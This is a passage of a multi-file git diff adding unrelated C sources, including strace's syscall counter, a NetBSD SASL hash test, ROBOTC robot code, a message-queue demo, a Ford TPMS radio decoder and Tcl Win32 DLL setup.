remainingbits = 7 - pos; + uint64_t result = 0; + int curindex = pos+1; + mask >>= pos+1; /* considering only the bits left of pos */ + /* note the degenerate case rook on h file, pos 7 - result stays 0 */ + while (remainingbits > 0) + { + result |= (((uint64_t)1) << (curindex*8)); + + /* comes after setting the bit! */ + if (mask & 0x1) + { + break; + } + else + { + mask >>= 1; + remainingbits--; + curindex++; + } + } + return result; +} +/** + * 0001 0000 as occupiedmask with 4 as position generates 0000 1111 + * 1101 0111 as occupiedmask with 4 as position generates 0000 1100 + */ +uint64_t rightray(int mask /* 0-255 */, int pos /* 0-7 */) +{ + int remainingbits = pos; + uint64_t result = 0; + int curindex = pos-1; + + while (remainingbits > 0) + { + result |= (((uint64_t)1) << (8*curindex)); + if (mask & (1< +#include +#include +#include +#include + +#include + +__RCSID("$NetBSD: test_hash.c,v 1.2 2011/02/16 02:14:23 christos Exp $"); + +#define MAX_HASH_SIZE 256 + +/* + * List of all property keys. + * NB: I did not list those used for debugging as collisions in that + * case don't really hurt anything. + */ +static const char *keys[] = { + SASLC_PROP_AUTHCID, + SASLC_PROP_AUTHZID, + SASLC_PROP_BASE64IO, + SASLC_PROP_CIPHERMASK, + SASLC_PROP_DEBUG, + SASLC_PROP_HOSTNAME, + SASLC_PROP_MAXBUF, + SASLC_PROP_PASSWD, + SASLC_PROP_QOPMASK, + SASLC_PROP_REALM, + SASLC_PROP_SECURITY, + SASLC_PROP_SERVICE, + SASLC_PROP_SERVNAME +}; + +/* + * This must match the dict.c::saslc__dict_hashval() routine. + */ +static size_t +hash(const char *cp, size_t hsize, size_t hinit, size_t shift) +{ + size_t hval; + + hval = hinit; + for (/*EMPTY*/; *cp != '\0'; cp++) { + hval <<= shift; + hval += (size_t)*cp; + } + return hval % hsize; +} + +static int +no_collision(size_t hsize, size_t hinit, size_t shift) +{ + const char **used; + size_t hval, i; + + used = calloc(sizeof(*used), hsize); + if (used == NULL) + err(EXIT_FAILURE, "calloc"); + for (i = 0; i < __arraycount(keys); i++) { + hval = hash(keys[i], hsize, hinit, shift); + if (used[hval] != 0) { + free(used); + return 0; + } + used[hval] = keys[i]; + } +#if 0 + for (i = 0; i < hsize; i++) { + if (used[i] != NULL) + printf("%02zd: %s\n", i, used[i]); + } +#endif + free(used); + return 1; +} + +static int __dead +usage(int rval) +{ + + printf("%s [ []]\n", getprogname()); + printf("min and max hash size must be >= %zu\n", __arraycount(keys)); + exit(rval); +} + +static void +show_result(int brief, size_t h, size_t i, size_t s) +{ + if (brief) + printf("no collisions: hsize=%zu hinit=%zu shift=%zu\n", h, i, s); + else { + printf("#define HASH_SIZE\t%zu\n", h); + printf("#define HASH_INIT\t%zu\n", i); + printf("#define HASH_SHIFT\t%zu\n", s); + } +} + +int +main(int argc, char **argv) +{ + char *p; + size_t i, h, s; + size_t h_min, h_max; + int brief; + + brief = argc != 1; + h_min = 0; + h_max = 0; + switch (argc) { + case 1: + h_min = __arraycount(keys); + h_max = MAX_HASH_SIZE; + break; + case 3: + h = strtol(argv[2], &p, 0); + if (*p != '\0' || h == 0) + usage(-1); + h_max = h; + /*FALLTHROUGH*/ + case 2: + h = strtol(argv[1], &p, 0); + if (*p != '\0' || h == 0) + usage(-1); + h_min = h; + if (argc == 2) + h_max = h; + break; + default: + usage(0); + } + if (h_max < __arraycount(keys) || + h_min < __arraycount(keys) || + h_max < h_min) + usage(-1); + + for (h = h_min; h <= h_max; h++) { + for (s = 0; s < 32; s++) { + for (i = 0; i < h; i++) { + if (no_collision(h, i, s)) { + show_result(brief, h, i, s); + if (argc == 1) + return 0; + } + } + } + } + return 0; +} diff --git a/pool/shard011/C/0142241_Turn.c b/pool/shard011/C/0142241_Turn.c new file mode 100644 index 0000000000000000000000000000000000000000..90d89234dafa5114d3064048e9c6da4905d123f5 --- /dev/null +++ b/pool/shard011/C/0142241_Turn.c @@ -0,0 +1,153 @@ +#pragma config(Hubs, S1, HTMotor, HTMotor, HTMotor, HTServo) +#pragma config(Sensor, S1, controllers, sensorNone) +#pragma config(Sensor, S2, light, sensorCOLORNONE) +#pragma config(Sensor, S3, irSeek, sensorHiTechnicIRSeeker1200) +#pragma config(Sensor, S4, ultrasonicSensor, sensorSONAR) +#pragma config(Motor, motorA, flickMotor1, tmotorNXT, PIDControl, encoder) +#pragma config(Motor, motorB, flickMotor2, tmotorNXT, PIDControl, encoder) +#pragma config(Motor, mtr_S1_C1_1, right, tmotorTetrix, openLoop) +#pragma config(Motor, mtr_S1_C1_2, left, tmotorTetrix, openLoop) +#pragma config(Motor, mtr_S1_C2_1, hangMotor, tmotorTetrix, openLoop) +#pragma config(Motor, mtr_S1_C2_2, empty1, tmotorTetrix, PIDControl) +#pragma config(Motor, mtr_S1_C3_1, armMotor, tmotorTetrix, openLoop) +#pragma config(Motor, mtr_S1_C3_2, flagRaiser, tmotorTetrix, openLoop) +#pragma config(Servo, srvo_S1_C4_1, releaseServo, tServoStandard) +#pragma config(Servo, srvo_S1_C4_2, pinServo, tServoStandard) +#pragma config(Servo, srvo_S1_C4_3, blockServo, tServoStandard) +#pragma config(Servo, srvo_S1_C4_4, trayR, tServoStandard) +#pragma config(Servo, srvo_S1_C4_5, trayL, tServoStandard) +#pragma config(Servo, srvo_S1_C4_6, flagServo, tServoStandard) +//*!!Code automatically generated by 'ROBOTC' configuration wizard !!*// + +#include "JoystickDriver.c" //Include file to "handle" the Bluetooth messages. + +bool useTemplate = true; + +// Handy move method with speed and offset. +void move(int speed, int offset) +{ + speed = speed * -1; + speed = speed - offset; + + // Turn right if offset >0, so power left motor. + motor[left] = (speed + offset) * -1; + motor[right] = speed - offset; + +} + +void stopMoving() +{ + motor[right] = 0; + motor[left] = 0; +} + +void moveUntilSpace(int distance, int speed) +{ + // should be positives + move(speed,0); + while(SensorValue[ultrasonicSensor] < distance) + { + // do nothing + } + stopMoving(); +} + + +string off = "off"; +string red = "red"; +string green = "green"; +string blue = "blue"; +void setLight(string color) +{ + if(strcmp(color, "off") == 0) + { + SensorType[light] = sensorCOLORNONE; + } + if(strcmp(color, "red") == 0) + { + SensorType[light] = sensorCOLORRED; + } + if(strcmp(color, "green") == 0) + { + SensorType[light] = sensorCOLORGREEN; + } + if(strcmp(color, "blue") == 0) + { + SensorType[light] = sensorCOLORBLUE; + } +} + + + +int middleTime = 1800; +long timeMoved = 0; +void moveUntilBeacon(int valueToCompare, int speed) +{ + bool lightChanged = false; + // should be negative + move(speed,0); + while(SensorValue[irSeek] != valueToCompare) + { + if(time1[T1] > middleTime) + { + if(!lightChanged) + { + lightChanged = true; + setLight(blue); + } + } + // do nothing + } + +} + + + + +int startBlockServo = 0; +int waitTime; +void setup(bool selectWait) +{ + setLight(red); + // 1 = right 2 = left + // Select wait time + if(selectWait) + { + while(true) + { + if(nNxtButtonPressed == 1) + { + // wait 10 seconds + waitTime = 15000; + break; + } + if(nNxtButtonPressed == 2) + { + waitTime = 0; + break; + } + } + } + servo[blockServo] = startBlockServo; + servo[pinServo] = 123; + int trayPosition = 70; + servo[trayR] = trayPosition; + servo[trayL] = 255 - trayPosition; + + setLight(green); + +} + + +// Bring in color sensor so it can display the status of the robot. +task main() +{ + // Turn to ramp + move(100, -100); + wait1Msec(700); + stopMoving();// Do not select wait + setup(false); + + + +} diff --git a/pool/shard011/C/0142242_count.c b/pool/shard011/C/0142242_count.c new file mode 100644 index 0000000000000000000000000000000000000000..92f7849ba403f82418285375d89c8695d4ed2574 --- /dev/null +++ b/pool/shard011/C/0142242_count.c @@ -0,0 +1,253 @@ +/* + * Copyright (c) 1991, 1992 Paul Kranenburg + * Copyright (c) 1993 Branko Lankester + * Copyright (c) 1993, 1994, 1995, 1996 Rick Sladkey + * Copyright (c) 1996-1999 Wichert Akkerman + * Copyright (c) 1999 IBM Deutschland Entwicklung GmbH, IBM Corporation + * Linux for s390 port by D.J. Barrow + * + * Copyright (c) 2004 Roland McGrath + * Copyright (c) 2006 Dmitry V. Levin + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * $Id$ + */ + +#include "defs.h" + +struct call_counts { + struct timeval time; + int calls, errors; +}; + +static struct call_counts *countv[SUPPORTED_PERSONALITIES]; +#define counts (countv[current_personality]) + +static struct timeval shortest = { 1000000, 0 }; + +int +count_syscall(struct tcb *tcp, struct timeval *tv) +{ + if (tcp->scno < 0 || tcp->scno >= nsyscalls) + return 0; + + if (!counts) + { + counts = calloc(nsyscalls, sizeof(*counts)); + if (!counts) + { + fprintf(stderr, + "strace: out of memory for call counts\n"); + exit(1); + } + } + + counts[tcp->scno].calls++; + if (tcp->u_error) + counts[tcp->scno].errors++; + + tv_sub(tv, tv, &tcp->etime); +#ifdef LINUX + if (tv_cmp(tv, &tcp->dtime) > 0) + { + static struct timeval one_tick; + + if (one_tick.tv_usec == 0) + { + /* Initialize it. */ + struct itimerval it; + + memset(&it, 0, sizeof it); + it.it_interval.tv_usec = 1; + setitimer(ITIMER_REAL, &it, NULL); + getitimer(ITIMER_REAL, &it); + one_tick = it.it_interval; + } + + if (tv_nz(&tcp->dtime)) + *tv = tcp->dtime; + else if (tv_cmp(tv, &one_tick) > 0) + { + if (tv_cmp(&shortest, &one_tick) < 0) + *tv = shortest; + else + *tv = one_tick; + } + } +#endif /* LINUX */ + if (tv_cmp(tv, &shortest) < 0) + shortest = *tv; + tv_add(&counts[tcp->scno].time, &counts[tcp->scno].time, tv); + + return 0; +} + +static int +time_cmp(void *a, void *b) +{ + return -tv_cmp(&counts[*((int *) a)].time, + &counts[*((int *) b)].time); +} + +static int +syscall_cmp(void *a, void *b) +{ + return strcmp(sysent[*((int *) a)].sys_name, + sysent[*((int *) b)].sys_name); +} + +static int +count_cmp(void *a, void *b) +{ + int m = counts[*((int *) a)].calls; + int n = counts[*((int *) b)].calls; + + return (m < n) ? 1 : (m > n) ? -1 : 0; +} + +static int (*sortfun)(); +static struct timeval overhead = { -1, -1 }; + +void +set_sortby(const char *sortby) +{ + if (strcmp(sortby, "time") == 0) + sortfun = time_cmp; + else if (strcmp(sortby, "calls") == 0) + sortfun = count_cmp; + else if (strcmp(sortby, "name") == 0) + sortfun = syscall_cmp; + else if (strcmp(sortby, "nothing") == 0) + sortfun = NULL; + else + { + fprintf(stderr, "invalid sortby: `%s'\n", sortby); + exit(1); + } +} + +void set_overhead(int n) +{ + overhead.tv_sec = n / 1000000; + overhead.tv_usec = n % 1000000; +} + +static void +call_summary_pers(FILE *outf) +{ + int i, j; + int call_cum, error_cum; + struct timeval tv_cum, dtv; + double percent; + const char *dashes = "-------------------------"; + char error_str[16]; + int *sorted_count = calloc(sizeof(int), nsyscalls); + + if (!sorted_count) + { + fprintf(stderr, "strace: out of memory for call summary\n"); + return; + } + + call_cum = error_cum = tv_cum.tv_sec = tv_cum.tv_usec = 0; + if (overhead.tv_sec == -1) + { + tv_mul(&overhead, &shortest, 8); + tv_div(&overhead, &overhead, 10); + } + for (i = 0; i < nsyscalls; i++) + { + sorted_count[i] = i; + if (counts == NULL || counts[i].calls == 0) + continue; + tv_mul(&dtv, &overhead, counts[i].calls); + tv_sub(&counts[i].time, &counts[i].time, &dtv); + call_cum += counts[i].calls; + error_cum += counts[i].errors; + tv_add(&tv_cum, &tv_cum, &counts[i].time); + } + if (counts && sortfun) + qsort((void *) sorted_count, nsyscalls, sizeof(int), sortfun); + fprintf(outf, "%6.6s %11.11s %11.11s %9.9s %9.9s %s\n", + "% time", "seconds", "usecs/call", + "calls", "errors", "syscall"); + fprintf(outf, "%6.6s %11.11s %11.11s %9.9s %9.9s %-16.16s\n", + dashes, dashes, dashes, dashes, dashes, dashes); + if (counts) + { + for (i = 0; i < nsyscalls; i++) + { + j = sorted_count[i]; + if (counts[j].calls == 0) + continue; + tv_div(&dtv, &counts[j].time, counts[j].calls); + if (counts[j].errors) + sprintf(error_str, "%d", counts[j].errors); + else + error_str[0] = '\0'; + percent = (100.0 * tv_float(&counts[j].time) + / tv_float(&tv_cum)); + fprintf(outf, "%6.2f %11.6f %11ld %9d %9.9s %s\n", + percent, tv_float(&counts[j].time), + (long) 1000000 * dtv.tv_sec + dtv.tv_usec, + counts[j].calls, + error_str, sysent[j].sys_name); + } + } + free(sorted_count); + + fprintf(outf, "%6.6s %11.11s %11.11s %9.9s %9.9s %-16.16s\n", + dashes, dashes, dashes, dashes, dashes, dashes); + if (error_cum) + sprintf(error_str, "%d", error_cum); + else + error_str[0] = '\0'; + fprintf(outf, "%6.6s %11.6f %11.11s %9d %9.9s %s\n", + "100.00", tv_float(&tv_cum), "", + call_cum, error_str, "total"); +} + +void +call_summary(FILE *outf) +{ + int i, old_pers = current_personality; + + for (i = 0; i < SUPPORTED_PERSONALITIES; ++i) + { + if (!countv[i]) + continue; + + if (current_personality != i) + set_personality(i); + if (i) + fprintf(outf, + "System call usage summary for %u bit mode:\n", + personality_wordsize[current_personality] * 8); + call_summary_pers(outf); + } + + if (old_pers != current_personality) + set_personality(old_pers); +} diff --git a/pool/shard011/C/0142243_mqcli1.c b/pool/shard011/C/0142243_mqcli1.c new file mode 100644 index 0000000000000000000000000000000000000000..2b3f281d198b9f06e1f9c8b823b7b5334ca3cf40 --- /dev/null +++ b/pool/shard011/C/0142243_mqcli1.c @@ -0,0 +1,61 @@ +#include +#include +#include +#include + +#define MY_KEY 12345678 +#define MSG_LEN 256 +#define SRV_MSG_TYPE 1 + +void toggleCase(char *buf,int cnt); + +int main() +{ + int mqId; + int msgLen; + char rxmsg[MSG_LEN]; + char txmsg[MSG_LEN]; + + mqId=msgget(MY_KEY,0660 | IPC_CREAT); + if(mqId < 0) + { + printf("Could not create message queue\n"); + return(1); + } + else + printf("Opend message queue.Id is %d\n",mqId); + while(1) + { + printf("Server:waiting for message \n"); + msgLen=msgrcv(mqId,rxmsg,MSG_LEN,SRV_MSG_TYPE,0); + if(msgLen == -1) + { + perror("msgrcv"); + return 1; + } + printf("Received Message of size %d from client \n",msgLen); + toggleCase(rxmsg+8,msgLen - 4); + memcpy(txmsg,rxmsg+4,msgLen); + msgsnd(mqId,txmsg,msgLen-4,0); + printf("sent processed message to client\n"); + } +} + + +//void toggleCase(char *buf,int cnt); +//{ + + + +void toggleCase(char *str,int cnt) +{ + while(cnt>0) + { + if(isupper(*str)) + *str=tolower(*str); + else if(islower(*str)) + *str=toupper(*str); + str++; + cnt--; + } +} diff --git a/pool/shard011/C/0142244_tpms_ford.c b/pool/shard011/C/0142244_tpms_ford.c new file mode 100644 index 0000000000000000000000000000000000000000..24ff9ff61c5ce74d9511ff2ed891826fdaec31b0 --- /dev/null +++ b/pool/shard011/C/0142244_tpms_ford.c @@ -0,0 +1,138 @@ +/** @file + FSK 8 byte Manchester encoded TPMS with simple checksum. + + Copyright (C) 2017 Christian W. Zuckschwerdt + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. +*/ +/** +FSK 8 byte Manchester encoded TPMS with simple checksum. +Seen on Ford Fiesta, Focus, Kuga, Escape ... + +Seen on 433.92 MHz. +Likely VDO-Sensors, Type "S180084730Z", built by "Continental Automotive GmbH". + +Packet nibbles: + + II II II II PP TT EF CC + +- I = ID +- P = Pressure, maybe PSI scale 0.25? +- T = Temperature, in C, offset about 56 +- E = high nibble flags ?tp?, t: temperature related bit, p: 9th pressure bit +- F = Flags, (46: 87% 1e: 5% 06: 2% 4b: 1% 66: 1% 0e: 1% 44: 1%) +- C = Checksum, SUM bytes 0 to 6 = byte 7 +*/ + +#include "decoder.h" + +static int tpms_ford_decode(r_device *decoder, bitbuffer_t *bitbuffer, unsigned row, unsigned bitpos) +{ + data_t *data; + bitbuffer_t packet_bits = {0}; + uint8_t *b; + unsigned id; + char id_str[9]; + int code; + char code_str[7]; + float pressure_psi; + int temperature_c; + int psibits; + + bitbuffer_manchester_decode(bitbuffer, row, bitpos, &packet_bits, 160); + + // require 64 data bits + if (packet_bits.bits_per_row[0] < 64) { + return 0; + } + b = packet_bits.bb[0]; + + if (((b[0] + b[1] + b[2] + b[3] + b[4] + b[5] + b[6]) & 0xff) != b[7]) { + return 0; + } + + id = (unsigned)b[0] << 24 | b[1] << 16 | b[2] << 8 | b[3]; + sprintf(id_str, "%08x", id); + + code = b[4] << 16 | b[5] << 8 | b[6]; + sprintf(code_str, "%06x", code); + + /* range seems to have different formulas */ + psibits = (((b[6] & 0x20) << 3) | b[4]); + if (psibits < 90) + pressure_psi = 0.3 + psibits * 0.25f; // BdyCM + FORScan + else + pressure_psi = 6.8 + psibits * 0.2122727273; + temperature_c = b[5] - 56; // approximate + if (b[6] & 0x40) // temperature scale mode? + temperature_c = (b[5] ^ 0x80) - 56; + + /* clang-format off */ + data = data_make( + "model", "", DATA_STRING, "Ford", + "type", "", DATA_STRING, "TPMS", + "id", "", DATA_STRING, id_str, + "pressure_PSI", "Pressure", DATA_FORMAT, "%.2f PSI", DATA_DOUBLE, pressure_psi, + "temperature_C", "Temperature", DATA_FORMAT, "%.1f C", DATA_DOUBLE, (float)temperature_c, + "code", "", DATA_STRING, code_str, + "mic", "Integrity", DATA_STRING, "CHECKSUM", + NULL); + /* clang-format on */ + + decoder_output_data(decoder, data); + return 1; +} + +/** @sa tpms_ford_decode() */ +static int tpms_ford_callback(r_device *decoder, bitbuffer_t *bitbuffer) +{ + // full preamble is 55 55 55 56 (inverted: aa aa aa a9) + uint8_t const preamble_pattern[2] = {0xaa, 0xa9}; // 16 bits + + int row; + unsigned bitpos; + int ret = 0; + int events = 0; + + bitbuffer_invert(bitbuffer); + + for (row = 0; row < bitbuffer->num_rows; ++row) { + bitpos = 0; + // Find a preamble with enough bits after it that it could be a complete packet + while ((bitpos = bitbuffer_search(bitbuffer, row, bitpos, + preamble_pattern, 16)) + 144 <= + bitbuffer->bits_per_row[row]) { + ret = tpms_ford_decode(decoder, bitbuffer, row, bitpos + 16); + if (ret > 0) + events += ret; + bitpos += 15; + } + } + + return events > 0 ? events : ret; +} + +static char *output_fields[] = { + "model", + "type", + "id", + "flags", + "pressure_PSI", + "temperature_C", + "code", + "mic", + NULL, +}; + +r_device tpms_ford = { + .name = "Ford TPMS", + .modulation = FSK_PULSE_PCM, + .short_width = 52, // 12-13 samples @250k + .long_width = 52, // FSK + .reset_limit = 150, // Maximum gap size before End Of Message [us]. + .decode_fn = &tpms_ford_callback, + .fields = output_fields, +}; diff --git a/pool/shard011/C/0142245_tclWin32Dll.c b/pool/shard011/C/0142245_tclWin32Dll.c new file mode 100644 index 0000000000000000000000000000000000000000..4d951155062e2ed8517b17f0cc2a5648b75b7091 --- /dev/null +++ b/pool/shard011/C/0142245_tclWin32Dll.c @@ -0,0 +1,420 @@ +/* + * tclWin32Dll.c -- + * + * This file contains the DLL entry point which sets up the 32-to-16-bit + * thunking code for SynchSpawn if the library is running under Win32s. + * + * Copyright (c) 1995-1996 Sun Microsystems, Inc. + * + * See the file "license.terms" for information on usage and redistribution + * of this file, and for a DISCLAIMER OF ALL WARRANTIES. + * + * RCS: @(#) $Id: tclWin32Dll.c,v 1.1 2003/02/23 07:50:45 jasonwilkins Exp $ + */ + +#include "tclWinInt.h" + +typedef DWORD (WINAPI * UT32PROC)(LPVOID lpBuff, DWORD dwUserDefined, + LPVOID *lpTranslationList); + +typedef BOOL (WINAPI * PUTREGISTER)(HANDLE hModule, LPCSTR SixteenBitDLL, + LPCSTR InitName, LPCSTR ProcName, UT32PROC* ThirtyTwoBitThunk, + FARPROC UT32Callback, LPVOID Buff); + +typedef VOID (WINAPI * PUTUNREGISTER)(HANDLE hModule); + +static PUTUNREGISTER UTUnRegister = NULL; +static int tclProcessesAttached = 0; + +/* + * The following data structure is used to keep track of all of the DLL's + * opened by Tcl so that they can be freed with the Tcl.dll is unloaded. + */ + +typedef struct LibraryList { + HINSTANCE handle; + struct LibraryList *nextPtr; +} LibraryList; + +static LibraryList *libraryList = NULL; /* List of currently loaded DLL's. */ + +static HINSTANCE tclInstance; /* Global library instance handle. */ +static int tclPlatformId; /* Running under NT, 95, or Win32s? */ + +/* + * Declarations for functions that are only used in this file. + */ + +static void UnloadLibraries _ANSI_ARGS_((void)); + +/* + * The following declaration is for the VC++ DLL entry point. + */ + +BOOL APIENTRY DllMain _ANSI_ARGS_((HINSTANCE hInst, + DWORD reason, LPVOID reserved)); + +#ifdef __WIN32__ +#ifndef STATIC_BUILD + +/* CYGNUS LOCAL */ +#ifdef __CYGWIN__0 +/* CYGWIN requires an impure pointer variable, which must be + explicitly initialized when the DLL starts up. */ +struct _reent *_impure_ptr; +extern struct _reent *_imp__reent_data; +#endif +/* END CYGNUS LOCAL */ + +/* + *---------------------------------------------------------------------- + * + * DllEntryPoint -- + * + * This wrapper function is used by Borland to invoke the + * initialization code for Tcl. It simply calls the DllMain + * routine. + * + * Results: + * See DllMain. + * + * Side effects: + * See DllMain. + * + *---------------------------------------------------------------------- + */ + +BOOL APIENTRY +DllEntryPoint(hInst, reason, reserved) + HINSTANCE hInst; /* Library instance handle. */ + DWORD reason; /* Reason this function is being called. */ + LPVOID reserved; /* Not used. */ +{ + return DllMain(hInst, reason, reserved); +} + +/* + *---------------------------------------------------------------------- + * + * DllMain -- + * + * This routine is called by the VC++ C run time library init + * code, or the DllEntryPoint routine. It is responsible for + * initializing various dynamically loaded libraries. + * + * Results: + * TRUE on sucess, FALSE on failure. + * + * Side effects: + * Establishes 32-to-16 bit thunk and initializes sockets library. + * + *---------------------------------------------------------------------- + */ +BOOL APIENTRY +DllMain(hInst, reason, reserved) + HINSTANCE hInst; /* Library instance handle. */ + DWORD reason; /* Reason this function is being called. */ + LPVOID reserved; /* Not used. */ +{ + OSVERSIONINFO os; + + /* CYGNUS LOCAL */ +#ifdef __CYGWIN__0 + /* Cygwin requires the impure data pointer to be initialized + when the DLL starts up. */ + _impure_ptr = _imp__reent_data; +#endif + /* END CYGNUS LOCAL */ + + switch (reason) { + case DLL_PROCESS_ATTACH: + if (tclProcessesAttached++) { + return FALSE; /* Not the first initialization. */ + } + + TclWinInit(hInst); + return TRUE; + + case DLL_PROCESS_DETACH: + + tclProcessesAttached--; + if (tclProcessesAttached == 0) { + Tcl_Finalize(); + } + break; + } + + return TRUE; +} + +#endif /* !STATIC_BUILD */ +#endif /* __WIN32__ */ + +/* + *---------------------------------------------------------------------- + * + * TclWinInit -- + * + * This function initializes the internal state of the tcl library. + * + * Results: + * None. + * + * Side effects: + * Initializes the 16-bit thunking library, and the tclPlatformId + * variable. + * + *---------------------------------------------------------------------- + */ + +void +TclWinInit(hInst) + HINSTANCE hInst; /* Library instance handle. */ +{ + OSVERSIONINFO os; + + tclInstance = hInst; + os.dwOSVersionInfoSize = sizeof(os); + GetVersionEx(&os); + tclPlatformId = os.dwPlatformId; + + /* + * The following code stops Windows 3.x from automatically putting + * up Sharing Violation dialogs, e.g, when someone tries to + * access a file that is locked or a drive with no disk in it. + * Tcl already returns the appropriate error to the caller, and they + * can decide to put up their own dialog in response to that failure. + * + * Under 95 and NT, the system doesn't automatically put up dialogs + * when the above operations fail. + */ + + if (tclPlatformId == VER_PLATFORM_WIN32s) { + SetErrorMode(SetErrorMode(0) | SEM_FAILCRITICALERRORS); + } +} + +/* + *---------------------------------------------------------------------- + * + * TclpFinalize -- + * + * Clean up the Windows specific library state. + * + * Results: + * None. + * + * Side effects: + * Unloads any DLLs and cleans up the thunking library, if + * necessary. + * + *---------------------------------------------------------------------- + */ + +void +TclpFinalize() +{ + /* + * Unregister the Tcl thunk. + */ + + if (UTUnRegister != NULL) { + UTUnRegister(tclInstance); + UTUnRegister = NULL; + } + + /* + * Cleanup any dynamically loaded libraries. + */ + + UnloadLibraries(); +} + +/* + *---------------------------------------------------------------------- + * + * TclWinLoadLibrary -- + * + * This function is a wrapper for the system LoadLibrary. It is + * responsible for adding library handles to the library list so + * the libraries can be freed when tcl.dll is unloaded. + * + * Results: + * Returns the handle of the newly loaded library, or NULL on + * failure. + * + * Side effects: + * Loads the specified library into the process. + * + *---------------------------------------------------------------------- + */ + +HINSTANCE +TclWinLoadLibrary(name) + char *name; /* Library file to load. */ +{ + HINSTANCE handle; + LibraryList *ptr; + + handle = LoadLibrary(name); + if (handle != NULL) { + ptr = (LibraryList*) ckalloc(sizeof(LibraryList)); + ptr->handle = handle; + ptr->nextPtr = libraryList; + libraryList = ptr; + } else { + TclWinConvertError(GetLastError()); + } + return handle; +} + +/* + *---------------------------------------------------------------------- + * + * UnloadLibraries -- + * + * Frees any dynamically allocated libraries loaded by Tcl. + * + * Results: + * None. + * + * Side effects: + * Frees the libraries on the library list as well as the list. + * + *---------------------------------------------------------------------- + */ + +static void +UnloadLibraries() +{ + LibraryList *ptr; + + while (libraryList != NULL) { + FreeLibrary(libraryList->handle); + ptr = libraryList->nextPtr; + ckfree((char*)libraryList); + libraryList = ptr; + } +} + +/* + *---------------------------------------------------------------------- + * + * TclWinSynchSpawn -- + * + * 32-bit entry point to the 16-bit SynchSpawn code. + * + * Results: + * 1 on success, 0 on failure. + * + * Side effects: + * Spawns a command and waits for it to complete. + * + *---------------------------------------------------------------------- + */ +int +TclWinSynchSpawn(void *args, int type, void **trans, Tcl_Pid *pidPtr) +{ + static UT32PROC UTProc = NULL; + static int utErrorCode; + + if (UTUnRegister == NULL) { + /* + * Load the Universal Thunking routines from kernel32.dll. + */ + + HINSTANCE hKernel; + PUTREGISTER UTRegister; + char buffer[] = "TCL16xx.DLL"; + + hKernel = TclWinLoadLibrary("Kernel32.Dll"); + if (hKernel == NULL) { + return 0; + } + + UTRegister = (PUTREGISTER) GetProcAddress(hKernel, "UTRegister"); + UTUnRegister = (PUTUNREGISTER) GetProcAddress(hKernel, "UTUnRegister"); + if (!UTRegister || !UTUnRegister) { + UnloadLibraries(); + return 0; + } + + /* + * Construct the complete name of tcl16xx.dll. + */ + + buffer[5] = '0' + TCL_MAJOR_VERSION; + buffer[6] = '0' + TCL_MINOR_VERSION; + + /* + * Register the Tcl thunk. + */ + + if (UTRegister(tclInstance, buffer, NULL, "UTProc", &UTProc, NULL, + NULL) == FALSE) { + utErrorCode = GetLastError(); + } + } + + if (UTProc == NULL) { + /* + * The 16-bit thunking DLL wasn't found. Return error code that + * indicates this problem. + */ + + SetLastError(utErrorCode); + return 0; + } + + UTProc(args, type, trans); + *pidPtr = 0; + return 1; +} + +/* + *---------------------------------------------------------------------- + * + * TclWinGetTclInstance -- + * + * Retrieves the global library instance handle. + * + * Results: + * Returns the global library instance handle. + * + * Side effects: + * None. + * + *---------------------------------------------------------------------- + */ + +HINSTANCE +TclWinGetTclInstance() +{ + return tclInstance; +} + +/* + *---------------------------------------------------------------------- + * + * TclWinGetPlatformId -- + * + * Determines whether running under NT, 95, or Win32s, to allow + * runtime conditional code. + * + * Results: + * The return value is one of: + * VER_PLATFORM_WIN32s Win32s on Windows 3.1. + * VER_PLATFORM_WIN32_WINDOWS Win32 on Windows 95. + * VER_PLATFORM_WIN32_NT Win32 on Windows NT + * + * Side effects: + * None. + * + *---------------------------------------------------------------------- + */ + +int +TclWinGetPlatformId() +{ + return tclPlatformId; +} diff --git a/pool/shard011/C/0142246_vecmath.c b/pool/shard011/C/0142246_vecmath.c new file mode 100644 index 0000000000000000000000000000000000000000..8a35be2ded1c7c9c3c302e74e7e561e265d4e9b9 --- /dev/null +++ b/pool/shard011/C/0142246_vecmath.c @@ -0,0 +1,160 @@ +/* + * Copyright (C) 1989-2015, Craig E. Kolb + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are + * met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR 